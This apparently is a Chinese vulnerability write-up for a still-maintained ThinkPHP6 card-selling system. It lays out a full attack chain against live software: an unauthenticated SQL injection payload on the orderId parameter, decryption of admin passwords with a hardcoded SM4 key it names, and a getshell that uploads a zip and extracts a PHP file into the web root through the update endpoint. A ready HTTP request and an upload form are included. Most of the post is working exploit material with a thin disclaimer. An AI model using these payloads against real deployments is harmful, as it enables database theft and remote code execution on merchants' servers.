写在前面

偶然刷到的一套发卡系统,开发人员仍在维护更新,简单看了一下,通过SQL注入可以进后台getshell,很简单,看个乐呵

系统简介

由ThinkPHP6开发的发卡管理系统。

开发语言:PHP开发框架:ThinkPHP6后台登录:/adminx/login.html分站后台:/admin/login.html管理账密:SM4(“xiaoyewl”,password)

代码解析

今天没有Seay启动了,因为是tp的框架,代码审起来比较轻松。

前台SQL注入

在“app/index/controller/ChadanController.php”的“queryOrderPage”函数中,参数“orderId”没有经过任何的过滤直接被拼接在了SQL语句里。

构造出访问路由,这里就直接用sqlmap的payload演示了:


sqlmap直接管理员账号密码


原本以为开发偷懒,用base64编码密码,很显然是想多了。

既然不是,那就从源码出发,找到管理员登录的代码,看到是有“encrypt”方法的。


找到“encrypt”声明的地方,看到用的加密是sm4,并且“key”也是给出了,为“xiaoyewl”。


也是在“extend/sm4/SM4.php”找到了加密的代码,copy下来本地实现一下,最后成功解密。

最后也是成功登录后台。

后台getshell

漏洞功能点在后台系统更新处,管理员可以选择手动上传zip更新。其中参数“path”为zip地址,参数“versionId”没有用(忽略)。

“str_ireplace(request()->domain(), '', $path);”是将参数“path”中的域名给替换为空,起初想着可以通过远程zip。但是“public_path() . $path;”中的“public_path()”方法(代码如下图所示),会在“path”前拼接目标服务器本地目录,所以远程zip的方案不可行了。

后面的代码就不用分析了,就是解压zip的过程。

No.1 先上传构造好的zip(public/test.php)至目标服务器。

No.2 利用系统的更新功能,将zip中的php释放到目标服务器web。


然后访问“/test.php”,成功RCE。

漏洞总结

前台SQL注入

/index/chadan/queryorderpage
orderId=1") and gtid_subset(concat(0x7e,(select version()),0x7e),7087) and ("1"="1

后台getshell

No.1 上传zip

<html>
<head>
    <title>文件上传</title>
</head>
<body>
<form action="http://xxx.xxx.xxx/adminx/upload/zip" method="post" enctype="multipart/form-data">
  文件:<input type="file" name="file"><br>
  <input type="submit" value="提交">
</form>
</body>
</html>

No.2 更新解压


POST /adminx/version/manualUpdate.html HTTP/1.1
Host: xxx.xxx.xxx
Content-Length: 24
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://xxx.xxx.xxx/
Referer: http://xxx.xxx.xxx/adminx/version/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ecb57a3b4b36ae49d3ede594576ebd8c
x-forwarded-for: 127.0.0.1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="116", "Chromium";v="116", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
Connection: close

path=./storage/upload/yunyeka/20240423/39d0da9f3689f67f20a42ea54e8fb40f.zip&versionId=3.7.0

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。